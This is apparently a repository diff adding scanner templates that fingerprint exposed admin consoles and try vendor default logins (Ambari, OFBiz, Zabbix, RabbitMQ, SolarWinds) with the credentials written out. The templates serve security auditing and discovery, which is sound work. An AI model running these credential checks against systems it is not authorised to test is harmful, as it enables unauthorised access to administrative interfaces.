|
||||
info:
|
||||
name: Apache Ambari Default Credentials
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name'
|
||||
headers:
|
||||
Authorization: "Basic YWRtaW46YWRtaW4="
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '"Users" : {'
|
||||
- 'AMBARI.'
|
||||
condition: and
|
||||
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,20 @@
|
||||
id: ofbiz-default-credentials
|
||||
|
||||
info:
|
||||
name: Apache OfBiz Default Credentials
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/control/login'
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: USERNAME=admin&PASSWORD=ofbiz&FTOKEN=&JavaScriptEnabled=Y
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "ofbiz-pagination-template"
|
||||
- "<span>Powered by OFBiz</span>"
|
||||
condition: and
|
||||
-1
@@ -9,7 +9,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/api/whoami"
|
||||
- "{{BaseURL}}:15672/api/whoami"
|
||||
headers:
|
||||
Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
|
||||
matchers-condition: and
|
||||
+1
-1
@@ -16,7 +16,7 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
|
||||
- "{{BaseURL}}:17778/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
|
||||
|
||||
headers:
|
||||
Authorization: "Basic YWRtaW46"
|
||||
matchers-condition: and
|
||||
@@ -0,0 +1,26 @@
|
||||
id: zabbix-default-credentials
|
||||
|
||||
info:
|
||||
name: Zabbix Default Credentials
|
||||
author: pd-team
|
||||
severity: critical
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/index.php'
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
|
||||
body: name=Admin&password=zabbix&autologin=1&enter=Sign+in
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "zabbix.php?action=dashboard.view"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 302
|
||||
@@ -2,7 +2,7 @@ id: cname-service-detector
|
||||
|
||||
info:
|
||||
name: 3rd party service checker
|
||||
author: bauthard
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
|
||||
@@ -2,7 +2,7 @@ id: servfail-refused-hosts
|
||||
|
||||
info:
|
||||
name: Servfail Host Finder
|
||||
author: mzack9999
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
dns:
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
id: active-admin-exposure
|
||||
|
||||
info:
|
||||
name: ActiveAdmin Admin Dasboard Exposure
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/admin/login'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "active_admin_content"
|
||||
- "active_admin-"
|
||||
condition: and
|
||||
@@ -0,0 +1,18 @@
|
||||
id: activemq-panel
|
||||
|
||||
info:
|
||||
name: Apache ActiveMQ Exposure
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<h2>Welcome to the Apache ActiveMQ!</h2>'
|
||||
- '<title>Apache ActiveMQ</title>'
|
||||
condition: and
|
||||
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,18 @@
|
||||
id: airflow-exposure
|
||||
|
||||
info:
|
||||
name: Apache Airflow Exposure / Unauthenticated Access
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
- '{{BaseURL}}/admin/'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Airflow - DAGs</title>'
|
||||
- '<a href="https://github.com/apache/airflow">'
|
||||
condition: and
|
||||
@@ -0,0 +1,18 @@
|
||||
id: ambari-exposure
|
||||
|
||||
info:
|
||||
name: Apache Ambari Exposure / Unauthenticated Access
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Ambari</title>'
|
||||
- 'href="http://www.apache.org/licenses/LICENSE-2.0"'
|
||||
condition: and
|
||||
@@ -0,0 +1,18 @@
|
||||
id: ansible-tower-exposure
|
||||
|
||||
info:
|
||||
name: Ansible Tower Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<title>Ansible Tower</title>"
|
||||
- "ansible-main-menu"
|
||||
condition: and
|
||||
@@ -1,4 +1,5 @@
|
||||
id: atlassian-crowd-panel
|
||||
|
||||
info:
|
||||
name: Atlassian Crowd panel detect
|
||||
author: organiccrap
|
||||
File renamed without changes.
File renamed without changes.
@@ -2,7 +2,7 @@ id: citrix-vpn-detect
|
||||
|
||||
info:
|
||||
name: Citrix VPN Detection
|
||||
author: bauthard
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
File renamed without changes.
@@ -0,0 +1,18 @@
|
||||
id: couchdb-exposure
|
||||
|
||||
info:
|
||||
name: Apache CouchDB Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/_all_dbs'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- CouchDB/
|
||||
- Erlang OTP/
|
||||
part: header
|
||||
condition: and
|
||||
@@ -0,0 +1,16 @@
|
||||
id: couchdb-fauxton
|
||||
|
||||
info:
|
||||
name: Apache CouchDB Fauxton Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Project Fauxton</title>'
|
||||
File renamed without changes.
@@ -0,0 +1,17 @@
|
||||
id: django-admin-panel
|
||||
|
||||
info:
|
||||
name: Python Django Admin Panel
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/admin/login/?next=/admin/"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<a href=\"/admin/\">Django administration</a>"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -0,0 +1,18 @@
|
||||
id: druid-console-exposure
|
||||
|
||||
info:
|
||||
name: Alibaba Druid Console Exposure
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'src="/druid.js"'
|
||||
- 'href="/druid.css"'
|
||||
condition: and
|
||||
@@ -0,0 +1,15 @@
|
||||
id: exposed-pagespeed-global-admin
|
||||
|
||||
info:
|
||||
name: Apache PageSpeed Global Admin Dashboard Exposure
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/pagespeed_admin/'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<b>Pagespeed Admin</b>"
|
||||
@@ -0,0 +1,17 @@
|
||||
id: exposed-webalizer
|
||||
|
||||
info:
|
||||
name: Publicly exposed Webalizer Interface
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/webalizer/'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Webalizer Version"
|
||||
- "Usage statistics for"
|
||||
condition: and
|
||||
@@ -0,0 +1,16 @@
|
||||
id: flink-exposure
|
||||
|
||||
info:
|
||||
name: Apache Flink Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Apache Flink Web Dashboard</title>'
|
||||
File renamed without changes.
@@ -0,0 +1,24 @@
|
||||
id: fortiweb-login
|
||||
|
||||
info:
|
||||
name: Fortinet FortiWeb Login Panel
|
||||
author: PR3R00T
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Please login"
|
||||
- "ftnt-fortinet-grid"
|
||||
- "main-fortiweb.css"
|
||||
condition: and
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,15 @@
|
||||
id: hadoop-exposure
|
||||
|
||||
info:
|
||||
name: Apache Hadoop Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/dfshealth.html'
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<div class="navbar-brand">Hadoop</div>'
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,16 @@
|
||||
id: kafka-connect-ui
|
||||
|
||||
info:
|
||||
name: Apache Kafka Connect UI Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Kafka Connect UI</title>'
|
||||
@@ -0,0 +1,17 @@
|
||||
id: kafka-monitoring
|
||||
|
||||
info:
|
||||
name: Apache Kafka Monitor Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '>KafkaMonitor</a>'
|
||||
- '>Kafka Monitor GUI</h1>'
|
||||
@@ -0,0 +1,16 @@
|
||||
id: kafka-topics-ui
|
||||
|
||||
info:
|
||||
name: Apache Kafka Topics UI Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '<title>Kafka Topics UI - Browse Kafka Data</title>'
|
||||
@@ -0,0 +1,15 @@
|
||||
id: kubernetes-dashboard
|
||||
|
||||
info:
|
||||
name: Kubernetes Console Exposure
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Kubernetes Dashboard</title>"
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Loaded 100 of 354 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user